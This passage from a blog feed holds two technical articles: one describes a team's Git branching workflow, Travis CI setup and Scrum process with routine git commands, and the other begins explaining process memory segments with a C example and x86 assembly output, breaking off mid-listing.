&lt;p&gt;Sticking to this rule forced us to think more about the logic behind the versions, reshape road maps more precisely, and allowed us to bump our version numbers more cleverly. We applied this to our mobile apps and Titanium widgets, bumping version numbers carefully over time.&lt;/p&gt;
&lt;h2 id="a-successful-git-workflow"&gt;A Successful Git Workflow&lt;/h2&gt;
&lt;p&gt;This part is clearly the most important, as it’s being used every single day by everyone. In general, it’s likely the most important aspect about continuous integration, to which we had paid a lot of attention.&lt;/p&gt;
&lt;p&gt;After some research, we came across a very popular Git workflow, the branching model.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Git workflow" src="https://romainpellerin.eu/images/continuous-integration-git-workflow.png"&gt;&lt;/p&gt;
&lt;p&gt;This picture has been taken from &lt;em&gt;&lt;a href="http://nvie.com/posts/a-successful-git-branching-model/"&gt;A successful Git branching model, by Vincent Driessen&lt;/a&gt;&lt;/em&gt; (&lt;a href="https://twitter.com/nvie/status/644601079985008640"&gt;thanks to him&lt;/a&gt;). Overall, it’s the best Git workflow we’ve ever encountered. &lt;strong&gt;So we adopted it, with some specificities: we made a few minor changes to that original branching workflow, in order to better suit our needs.&lt;/strong&gt; It can be applied to any kind of software project. I also need to mention that we use GitHub, the most famous web-based Git repository hosting service, because it offers some great features, such as Pull requests, a bug tracker (issues), etc. Moreover, as most of our code has been open sourced (except our clients’ core apps), it’s not a problem at all. By the way, it also gives us a greater visibility, it’s like giving away our widgets to the Titanium community thanks to GitHub.&lt;/p&gt;
&lt;p&gt;Now, let's move onto &lt;strong&gt;our workflow&lt;/strong&gt; that we daily use, with Github:&lt;/p&gt;
&lt;h3 id="our-git-workflow"&gt;Our Git workflow&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;There is a remote repository called &lt;code&gt;origin&lt;/code&gt;. Then, every new developer (including the owner) has to fork this repository. The &lt;code&gt;origin&lt;/code&gt; repo will &lt;strong&gt;ONLY&lt;/strong&gt; contains two branches: &lt;code&gt;master&lt;/code&gt; and &lt;code&gt;develop&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;master&lt;/code&gt;: contains &lt;strong&gt;only the stable realeases&lt;/strong&gt; (General Availability), tagged with&lt;br&gt;
&lt;code&gt;git tag -a&lt;/code&gt;&lt;br&gt;
    Those are production releases.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;develop&lt;/code&gt;: contains &lt;strong&gt;only stable code&lt;/strong&gt; with newly developed features. This branch has been created with&lt;br&gt;
&lt;code&gt;git checkout -b develop master&lt;/code&gt;&lt;br&gt;
    It’s the latest cutting-edge release (Release Candidate). It may contains some bugs.&lt;/li&gt;
&lt;li&gt;No one is allowed to commit into &lt;code&gt;master&lt;/code&gt; nor into &lt;code&gt;develop&lt;/code&gt; (except for the first commit into &lt;code&gt;master&lt;/code&gt;, then &lt;code&gt;develop&lt;/code&gt; is forked from &lt;code&gt;master&lt;/code&gt;), in either &lt;code&gt;origin&lt;/code&gt; or the forked repository. Not even locally!&lt;/li&gt;
&lt;li&gt;There's &lt;strong&gt;one developer responsible for the entire project&lt;/strong&gt;. Let's call him/her &lt;em&gt;Integrator&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;To add a new feature, one of the developers create a local branch called &lt;code&gt;feature-x&lt;/code&gt; from &lt;code&gt;develop&lt;/code&gt; and commit into it. He/she may push this branch to their own forked repository.&lt;/li&gt;
&lt;li&gt;When this feature is fully developed and tested, and ready to go into &lt;code&gt;develop&lt;/code&gt;, the developer creates a &lt;em&gt;Pull request&lt;/em&gt; from the forked repository to &lt;code&gt;origin&lt;/code&gt; (from branch &lt;code&gt;feature-x&lt;/code&gt; to &lt;code&gt;develop&lt;/code&gt;). Then, &lt;strong&gt;only one person can accept it and merge it: &lt;em&gt;Integrator&lt;/em&gt;.&lt;/strong&gt; He/she can also refuses it and comment about the reason(s).&lt;/li&gt;
&lt;li&gt;If the &lt;em&gt;Pull request&lt;/em&gt; has been accepted, everyone has to update their &lt;code&gt;develop&lt;/code&gt; branch (locally and on their forked repo).&lt;/li&gt;
&lt;li&gt;The same applies for hotfixes: anyone can create branches called &lt;code&gt;hotfix-y&lt;/code&gt; and create &lt;em&gt;Pull requests&lt;/em&gt; from them.&lt;/li&gt;
&lt;li&gt;When time has come for a new release, &lt;em&gt;Integrator&lt;/em&gt; merges back &lt;code&gt;develop&lt;/code&gt; into &lt;code&gt;master&lt;/code&gt; and tags it with a release number (according to the Semantic versioning). Then, anyone update their &lt;code&gt;master&lt;/code&gt; branch.&lt;/li&gt;
&lt;li&gt;Everyone is strongly encouraged to rebase on top of &lt;code&gt;master&lt;/code&gt; as often as possible, especially before submitting PRs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In case you're working alone on a project, no need to fork anything. Just apply the same principles to the only remote repository (&lt;em&gt;Pull requests&lt;/em&gt;, merge, etc). You can skip &lt;em&gt;Pull requests&lt;/em&gt; if you want so, it just helps keeping a trace of every new feature.&lt;/p&gt;
&lt;p&gt;I've found out that this workflow works pretty well with any of our projects, might it be an entire app or a mere widget. However, as I said we've made some adjustments to the original workflow found on the Internet, making it a bit simpler to use.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Issues&lt;/strong&gt; are also great features brought by GitHub that allow us to track down bugs and list them. One can assign people to fix an issue, and let others know of its progression thanks to emails or notifications. Issues can also be linked to specific commits which helps a lot when tracking regression bugs.&lt;/p&gt;
&lt;p&gt;Finally, we're also taking advantage of &lt;strong&gt;Milestones&lt;/strong&gt;, a GitHub feature, which can be seen as a simplified scheduler, permitting us to create deadlines with goals to reach. It's somehow a list of deadlines with progress bars automatically filled as we would create and merge Pull requests.&lt;/p&gt;
&lt;h4 id="some-commands"&gt;Some commands&lt;/h4&gt;
&lt;p&gt;To generate the message for a Pull request:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git log --pretty&lt;span class="o"&gt;=&lt;/span&gt;oneline --abbrev-commit &amp;lt;branch-from&amp;gt;..&amp;lt;current-branch&amp;gt;
&lt;span class="c1"&gt;# Prints the commits you made since last merge and the associated messages&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To update &lt;code&gt;develop&lt;/code&gt; (works with &lt;code&gt;master&lt;/code&gt; as well):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git fetch origin
git checkout develop
git merge --ff-only origin/develop
&lt;span class="c1"&gt;# Only fast forward is important to keep the history clear and clean&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To update a feature branch (after a PR has been merged):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git fetch origin
git checkout feature-x
&lt;span class="c1"&gt;# Three options (choose only one):&lt;/span&gt;
&lt;span class="c1"&gt;# 1.&lt;/span&gt;
git merge --ff-only origin/develop
&lt;span class="c1"&gt;# 2. If this fails because you have commits ahead, do:&lt;/span&gt;
git rebase origin/develop
&lt;span class="c1"&gt;# 3. If you&amp;#39;re a badass and want to ignore your own changes:&lt;/span&gt;
git reset --hard origin/develop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To merge a &lt;em&gt;Pull request&lt;/em&gt; (only &lt;strong&gt;Ingrator&lt;/strong&gt; is supposed to do it) and push it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git remote add feature-x_repo git@github.com:someone/forked-repo.git
git fetch feature-x_repo feature-x
git checkout develop
git merge --no-ff feature-x_repo/feature-x &lt;span class="c1"&gt;# You could add --no-commit to edit files before committing&lt;/span&gt;
&lt;span class="c1"&gt;# &amp;#39;no fast forward&amp;#39; is important to keep the history clear and clean&lt;/span&gt;
git push origin develop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To delete a branch (locally and remotely) once it has been merged into the main repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git push feature-x_repo --delete feature-x
git branch -d feature-x
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="contributors"&gt;Contributors&lt;/h3&gt;
&lt;p&gt;There's another approach to the scheme above. Instead of using only &lt;em&gt;Pull requests&lt;/em&gt;, you could add other developers as &lt;a href="https://help.github.com/articles/setting-guidelines-for-repository-contributors/"&gt;contributors&lt;/a&gt;. This way, there's no Mr/Ms &lt;strong&gt;Integrator&lt;/strong&gt;, any contributor is free to merge their features into &lt;code&gt;develop&lt;/code&gt;. Also, feature branches can be on the remote repository.&lt;/p&gt;
&lt;h3 id="git-branching-model-considered-harmful"&gt;Git branching model considered harmful&lt;/h3&gt;
&lt;p&gt;The Git workflow we used as a starting point (the branching model) has been considered harmful &lt;a href="https://barro.github.io/2016/02/a-succesful-git-branching-model-considered-harmful/"&gt;by someone, and thus that person proposed another model&lt;/a&gt;. The reading is worthwhile although I'm still not fully convinced by this alternative.&lt;/p&gt;
&lt;h2 id="travis-the-all-in-one-tool"&gt;&lt;a href="https://travis-ci.org/"&gt;Travis&lt;/a&gt;, the all-in-one tool&lt;/h2&gt;
&lt;p&gt;Soon, Travis will be your best friend. But first, what is Travis?&lt;/p&gt;
&lt;p&gt;Basically, it's an online service delivered through a website, providing sets of virtual machines started especially for a developer whenever needed. Those machines run some scripts and shut down themselves automatically. Usually, a developer sets up their Travis account to run scripts on every &lt;code&gt;git push&lt;/code&gt; performed on a GitHub repository. However, one can configure Travis to be run with any kind of Git hook. &lt;strong&gt;Travis is free&lt;/strong&gt; but they also have paid services with much more features (that we didn't require).&lt;/p&gt;
&lt;p&gt;So, how is Travis so helpful for us?&lt;/p&gt;
&lt;h3 id="most-common-use-cases-of-travis"&gt;Most common use cases of Travis&lt;/h3&gt;
&lt;p&gt;Well, one can imagine dozens of scenarios. Documentation generated from the source on every new &lt;code&gt;git push&lt;/code&gt; in &lt;code&gt;develop&lt;/code&gt;? Easy. Running a whole set of tests automatically? Easy as well.&lt;/p&gt;
&lt;p&gt;Let's dream a bit further... One of the most fancy things one can do is &lt;strong&gt;running a set of tests, bump version numbers in the code and the documentation, compiling the software program and generating the updated documentation, pushing the binaries to Amazon S3 and the documentation to GitHub Pages, and making the whole set available to everyone, automatically!&lt;/strong&gt; And yes, Travis, can push into specific branches as well. That might be really useful to update web pages automatically (a link to the latest stable release, listed on a download page, for instance).&lt;/p&gt;
&lt;p&gt;That is definitely the most perfect and automated scenario one could imagine, but that's easily achievable, although it would take quite a long time to set it up.&lt;/p&gt;
&lt;h3 id="an-example-with-github-pages"&gt;An example with Github Pages&lt;/h3&gt;
&lt;p&gt;A good example is my blog (yes, the one you're reading). My articles are written in Markdown and contained in the branch &lt;code&gt;master&lt;/code&gt;. However, what you're reading, is a &lt;a href="https://pages.github.com/"&gt;Github page&lt;/a&gt; (contained in a branch called &lt;code&gt;gh-pages&lt;/code&gt;). What is happening hunder the hood is that, every time I push on &lt;code&gt;master&lt;/code&gt;, Travis fetches it, generates the HTML pages from the Markdown files, and pushes them to the branch &lt;code&gt;gh-pages&lt;/code&gt; on Github. This way, my blog gets updated automatically.&lt;/p&gt;
&lt;p&gt;I followed &lt;a href="http://blog.mathieu-leplatre.info/publish-your-pelican-blog-on-github-pages-via-travis-ci.html"&gt;this tutorial&lt;/a&gt; to do that (and &lt;a href="http://fle.github.io/lectures/pelican-github-2014.html"&gt;this presentation&lt;/a&gt; as well).&lt;/p&gt;
&lt;h4 id="how-does-it-work"&gt;How does it work&lt;/h4&gt;
&lt;p&gt;At the root of your repo, just add a &lt;em&gt;.travis.yml&lt;/em&gt; with some pieces of configuration inside. And you're done! A few more options are available on their web interface as well.&lt;/p&gt;
&lt;p&gt;You can have a look at &lt;a href="https://github.com/rpellerin/blog/blob/master/.travis.yml"&gt;my .travis.yml for this blog&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="tips-with-travis"&gt;Tips with Travis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/settings/tokens"&gt;Get a new token from Github&lt;/a&gt; in order to give Travis access to your repo&lt;/li&gt;
&lt;li&gt;In travis, disable &lt;em&gt;Build on Pull requests&lt;/em&gt;, enable only if .travis.yml is present&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="agile-methodology"&gt;Agile methodology&lt;/h2&gt;
&lt;p&gt;Last but not least, agile methodology. Behind that term that sounds rather complex is a concept pretty simple. In Computer Science, we use the term "Agile Software Development". Wikipedia says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Agile Software Development is a set of software development methods in which requirements and solutions evolve through collaboration between self-organizing, cross-functional teams. It promotes adaptive planning, evolutionary development, early delivery, continuous improvement, and encourages rapid and flexible response to change.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is also an official Agile Manifesto that tries to describe it more precisely, based on twelve principles. &lt;strong&gt;From that original manifesto have appeared dozens of practices that we refer to as "Agile methods"&lt;/strong&gt;. I won't explain them here as it is not the purpose, for more information visit the &lt;a href="https://en.wikipedia.org/wiki/Agile_software_development"&gt;Wikipedia page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The one we picked is called &lt;strong&gt;Scrum&lt;/strong&gt;. Again, I won't explain it here but will instead expose the workflow we adopted, derived from it. For a better comprehension, I recommend you read the &lt;a href="https://en.wikipedia.org/wiki/Scrum_(software_development)"&gt;Wikipedia page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Basically, at the very beginning of the project, the CTO would meet client and discuss with them. As a result, he would obtain detailed specifications from them. Then, all together, we would brainstorm and define Milestones, which are fundamentally the most important steps to a final product. For instance, from scratch, we would aim at developing a MVP (which is a working product, see the picture below), then progressively add features, grouping features under Milestones. As a reminder, "Milestones" is a feature of GitHub. Each Milestone would last a week, tops. In Scrum, Milestones are called &lt;em&gt;Sprints&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Starting with an MVP is the right way to go. The client is always satisfied as they would get a working copy of the product being-developed, at each stage, continuously getting improved. They would not have to wait for weeks or months before being able to test anything.&lt;/p&gt;
&lt;p&gt;&lt;img alt="MVP" src="https://romainpellerin.eu/images/continuous-integration-mvp.png"&gt;&lt;/p&gt;
&lt;div style="text-align: center"&gt;*Courtesy of [Henrik Kniberg](https://twitter.com/henrikkniberg/status/685474589539983360)*&lt;/div&gt;

&lt;p&gt;Then, each developer would get assigned or choose a few features from the first Milestone until completion. Every morning, we would gather for a 10-minute stand-up meeting, during which everyone would say what they did the previous day and what is left to do, especially regarding the current day. Standing forces us to speak concisely and don't waste each other's time, since it is not as comfortable as being sat down.&lt;/p&gt;
&lt;p&gt;At the end of the Milestone's week, we would merge all the Pull requests resulting from the features, then review all together all the work done, conduct tests and create issues on GitHub to be resolved before starting the next Milestone. Eventually, we would readjust the remaining Milestones when needed.&lt;/p&gt;
&lt;p&gt;This would go on until completion of the final Milestone, which is supposed to bring all the features originally requested by the client.&lt;/p&gt;
&lt;p&gt;&lt;img alt="SCRUM" src="https://romainpellerin.eu/images/continuous-integration-scrum.png"&gt;&lt;/p&gt;
&lt;p&gt;Sometimes, the part "Bug fixing" would require extra-time. In such a case, we would extend that part onto the next week, only assigning one person, so that the rest of the team could stick strictly to the rule "a Milestone per week". But that rarely happened fortunately.&lt;/p&gt;
&lt;h2 id="mix-them-all"&gt;Mix them all&lt;/h2&gt;
&lt;p&gt;As a brief conclusion, when thinking back at all the parts of our workflow, one can see that it's an entire whole in which GitHub plays a key-role. Being organized, knowing everyone's role and keeping in mind goals to reach are important as well, just like the tools we decided to go with. Furthermore, being able to release intermediate versions, quickly, allowed us to give constant feedback to the client, which is reassuring.&lt;/p&gt;
&lt;p&gt;This workflow is surely perfectible, but until now it has proved really efficient.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
I hope this article was helpful. It's a good start with Continuous Integration. First, focus on your workflow (especially with Git) and then set up the right tools (including Travis) and you're good!&lt;/p&gt;
&lt;h1 id="resources-to-go-deeper"&gt;Resources to go deeper&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://putaindecode.fr/posts/ci/le-deploiement-continu/"&gt;Introduction au déploiement continu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://putaindecode.fr/posts/ci/introduction/"&gt;Qu'est-ce que l'intégration continue ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.ircmaxell.com/2014/10/youre-doing-agile-wrong.html"&gt;You're Doing Agile Wrong&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://toggl.com/developer-methods-infographic"&gt;SOFTWARE DEVELOPMENT EXPLAINED WITH CARS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.martinfowler.com/articles/continuousIntegration.html"&gt;Continuous Integration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://putaindecode.io/fr/articles/ci/travis-ci/"&gt;Déploiement continu avec Travis-CI (et GitHub Pages)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://scrutinizer-ci.com/"&gt;Scrutinizer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://k33g.github.io/2016/11/27/GH-FLOW.html"&gt;GitHub Flow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=jCwzf9adAtE"&gt;Intégration et déploiement en continu @ Github (Alain Hélaïli)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="android"&gt;Android&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/codepath/android_guides/wiki/Automating-Publishing-to-the-Play-Store"&gt;Automating Publishing to the Play Store&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.stablekernel.com/deploying-google-play-continuous-delivery-android-part-4/"&gt;PUBLISH TO GOOGLE PLAY - CONTINUOUS DELIVERY FOR ANDROID (PART 4)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeremie-martinez.com/2016/01/14/devops-on-android/"&gt;DevOps on Android: From one Git push to production&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="workflow"></category><category term="git"></category></entry><entry><title>Understanding The Memory</title><link href="https://romainpellerin.eu/understanding-the-memory.html" rel="alternate"></link><published>2015-06-26T01:11:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-06-26:/understanding-the-memory.html</id><summary type="html">&lt;p&gt;Understanding how memory works&lt;/p&gt;</summary><content type="html">&lt;p&gt;Understanding memory management can be a bit difficult for beginners. However, it's still one of the most important things every developer should know. You'll need to know how it works to write memory-efficient code, to avoid stack overflows. This is especially true when developing for mobile platforms that have very limited memory. Today's cheapest smartphones have an average of 512MB memory. Android will kill any app that consumes too much memory with even warning you. So be careful beforing allocating too many objects.&lt;/p&gt;
&lt;p&gt;Nows, let's have a look at memory and let's try to understand how it works.&lt;/p&gt;
&lt;h1 id="processes-and-threads"&gt;Processes and threads&lt;/h1&gt;
&lt;p&gt;Basically, when a program is launched, the operating system grants it a certain space in memory. The allocated memory contains &lt;strong&gt;four main areas&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data&lt;/strong&gt;: contains the global and static variables (explicitly initialized with a non-zero or non-NULL value, according to &lt;a href="https://en.wikipedia.org/wiki/Data_segment"&gt;Wikipedia&lt;/a&gt;) used by the program. The content of constants is on the data segment, whereas references to constants are on the code (see next bullet point). The BSS segment (which is usually adjacent to the data segment) contains all global variables and static variables that are initialized to zero or do not have explicit initialization (in such a case, they &lt;a href="http://stackoverflow.com/questions/13251083/the-initialization-of-static-variables-in-c"&gt;are implicitly initialized to 0&lt;/a&gt;). The BSS segment can be considered a part of the data segment.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code segment&lt;/strong&gt;: contains the assembly code of the program to be executed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heap&lt;/strong&gt;: contains all dynamically allocated primitive data types or objects (with &lt;code&gt;malloc&lt;/code&gt; in C or &lt;code&gt;new&lt;/code&gt; in C++, for instance). The developer is in charge of the lifetime of these variables, he has to explicitly deallocate memory (with &lt;code&gt;free&lt;/code&gt; in C or &lt;code&gt;delete&lt;/code&gt; in C++).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stack&lt;/strong&gt;: it's a LIFO structure. It basically contains all variables being declared inside functions. Every time you enter in a function, a stack frame is created for it. Every time you pass arguments by values to these functions, the arguments are copied to the stack. If you pass references or pointers, their content (an address) is also copied in order to be passed to the function. All the variables on the stack live only inside the function. When the function returns, they are destroyed and the corresponding allocated memory is freed. &lt;strong&gt;Stack values only exist within the scope of the function they are created in.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/memory-stack.jpg" alt="The stack" /&gt;
&lt;figcaption&gt;Image taken from &lt;a href="http://www.linuxjournal.com/article/6391"&gt;http://www.linuxjournal.com/article/6391&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let's see how this code gets compiled in x86 assembly.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gcc -S -masm&lt;span class="o"&gt;=&lt;/span&gt;intel main.c -fno-asynchronous-unwind-tables -o output.asm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we'll see the instructions using the stack.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;file&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;main.c&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;intel_syntax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;noprefix&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;text&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;globl&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@function&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp-4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp-8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp-4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
